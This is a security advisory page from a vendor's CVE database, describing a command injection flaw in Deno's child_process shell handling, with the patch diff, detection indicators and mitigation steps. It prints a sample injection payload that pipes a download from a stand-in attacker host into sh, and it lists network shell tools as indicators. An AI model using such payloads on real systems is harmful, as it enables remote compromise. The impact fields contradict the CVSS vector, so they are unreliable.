A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-27190

CVE-2026-27190: Deno Command Injection RCE Vulnerability

CVE-2026-27190 is a command injection vulnerability in Deno's node:child_process implementation that enables remote code execution. This article covers the technical details, affected versions prior to 2.6.8, and mitigation.

Updated: May 14, 2026

CVE-2026-27190 Overview

CVE-2026-27190 is a command injection vulnerability in Deno's node:child_process implementation. Deno is a JavaScript, TypeScript, and WebAssembly runtime that provides Node.js compatibility through polyfills. The flaw exists in the shell argument handling logic prior to version 2.6.8. Attackers can inject shell metacharacters through unescaped arguments passed to child process APIs when the shell option is enabled. The vulnerability is tracked under CWE-78 (OS Command Injection) and was fixed in Deno 2.6.8.

Critical Impact

Remote attackers can execute arbitrary operating system commands through unsanitized arguments passed to Deno's child_process shell execution path, leading to full host compromise.

Affected Products

  • Deno runtime versions prior to 2.6.8
  • Applications using node:child_process polyfill with the shell option enabled
  • Server-side JavaScript and TypeScript workloads running on vulnerable Deno releases

Discovery Timeline

  • 2026-02-20 - CVE-2026-27190 published to the National Vulnerability Database (NVD)
  • 2026-03-02 - Last updated in NVD database

Technical Details for CVE-2026-27190

Vulnerability Analysis

The vulnerability resides in ext/node/polyfills/internal/child_process.ts, which implements Deno's Node.js-compatible child_process module. When applications invoke child process APIs with the shell: true option and pass an array of arguments, Deno previously joined the file name and arguments using a plain space delimiter. The joined string was then handed to the shell for interpretation. Arguments containing shell metacharacters such as ;, |, &, $(), or backticks were not escaped before concatenation. An attacker who controls any portion of the argument array can break out of the intended command and inject additional shell commands.

Root Cause

The root cause is missing input sanitization in the shell command construction path. The original implementation trusted argument values when options.shell was set, treating them as benign string fragments. This violates the principle of separating command structure from user data, which is the defining characteristic of CWE-78 command injection flaws.

Attack Vector

Exploitation requires an application that forwards attacker-influenced data into the args array of a child_process API call with shell: true. This pattern is common in web servers, build tools, and automation scripts that wrap system utilities. A malicious payload such as "; curl attacker.tld | sh; #" placed inside an argument string would terminate the intended command and execute follow-on shell instructions under the privileges of the Deno process.

typescript
   ]);
 
   if (options.shell) {
-    let command = ArrayPrototypeJoin([file, ...args], " ");
+    // When args are provided, escape them to prevent shell injection.
+    // When no args are provided (just a string command), the user intends
+    // for shell interpretation, so don't escape.
+    let command;
+    if (args.length > 0) {
+      const escapedParts = [escapeShellArg(file), ...args.map(escapeShellArg)];
+      command = ArrayPrototypeJoin(escapedParts, " ");
+    } else {
+      command = file;
+    }
     // Transform Node.js flags to Deno equivalents in shell commands that invoke Deno
     command = transformDenoShellCommand(command, options.env);
     // Set the shell, switches, and commands.

Source: Deno commit 9132ad9. The patch introduces escapeShellArg and applies it to both the file and each argument before joining, preventing metacharacter interpretation.

Detection Methods for CVE-2026-27190

Indicators of Compromise

  • Deno processes spawning unexpected shell utilities such as sh, bash, cmd.exe, curl, wget, or nc as child processes
  • Outbound network connections originating from deno processes to unfamiliar hosts shortly after handling user input
  • Shell history or audit logs showing commands chained via ;, &&, or | initiated by the Deno runtime user

Detection Strategies

  • Inventory Deno deployments and identify versions older than 2.6.8 using software composition analysis or runtime checks against Deno.version.deno
  • Static code review for calls to child_process.exec, execSync, spawn, or spawnSync with shell: true and user-influenced arguments
  • Behavioral monitoring of process trees where deno spawns shell interpreters that subsequently launch network or filesystem tools

Monitoring Recommendations

  • Forward process creation events from Deno hosts into a centralized analytics platform and alert on anomalous child process chains
  • Track egress traffic from Deno workloads and flag connections to non-allowlisted destinations
  • Enable file integrity monitoring on directories writable by the Deno service account to detect post-exploitation artifacts

How to Mitigate CVE-2026-27190

Immediate Actions Required

  • Upgrade Deno to version 2.6.8 or later on every host, container image, and CI/CD runner
  • Audit application code for child_process calls that combine shell: true with externally supplied arguments and refactor to pass arguments without a shell
  • Restrict outbound network access from Deno workloads to reduce the blast radius of successful command injection

Patch Information

The fix is delivered in Deno release v2.6.8 and described in GitHub Security Advisory GHSA-hmh4-3xvx-q5hr. The corresponding source change is available in commit 9132ad9, which adds escapeShellArg for the file name and each argument when the shell option is set.

Workarounds

  • Disable the shell option and invoke binaries directly with an argument array, which avoids shell interpretation entirely
  • Validate and allowlist argument values against a strict character set before passing them to any child_process API
  • Run Deno processes under a dedicated low-privilege account with seccomp or AppArmor profiles that block unexpected child binaries
bash
# Verify the installed Deno version and upgrade if below 2.6.8
deno --version
deno upgrade --version 2.6.8

# Container image example: pin a patched Deno release
# FROM denoland/deno:2.6.8

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechDeno

  • SeverityCRITICAL

  • CVSS Score9.8

  • EPSS Probability0.91%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • GitHub Release v2.6.8
  • Vendor Resources
  • GitHub Commit Update

  • GitHub Security Advisory GHSA-hmh4-3xvx-q5hr
  • Related CVEs
  • CVE-2026-32260: Deno Runtime RCE Vulnerability

  • CVE-2026-22863: Deno Information Disclosure Vulnerability

  • CVE-2026-22864: Deno Auth Bypass Vulnerability

  • CVE-2024-32477: Deno Runtime Auth Bypass Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English